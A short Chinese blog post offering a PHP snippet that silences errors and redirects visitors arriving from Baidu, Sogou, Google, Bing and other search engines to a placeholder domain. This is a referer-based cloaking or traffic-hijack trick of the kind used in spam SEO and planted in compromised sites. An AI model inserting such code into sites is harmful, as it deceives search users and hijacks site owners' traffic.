php代码|指定搜索引擎来路跳转到指定网址(php 跳转到指定url)

时间:2021-11-13 22:39:31   阅读:1042
error_reporting(0); 
$refer=$_SERVER['HTTP_REFERER'];
if(stristr($refer,"baidu.com")||stristr($refer,"sogou.com")||stristr($refer,"soso.com")||stristr($refer,"google.")||stristr($refer,"bing.com")||stristr($refer,"youdao.com"))
{
header("location:http://www.你的主域名/");//这个是跳转地址
exit();
}


php代码|指定搜索引擎来路跳转到指定网址(php 跳转到指定url)

上一篇:php代码|无限生成网站,技巧静态-SEO专用(php 代码生成)

下一篇:满满干货(cos:第五人格,红蝶十三娘)红蝶花嫁COS第五人格(第五人格红蝶十三娘cosplay)

网友评论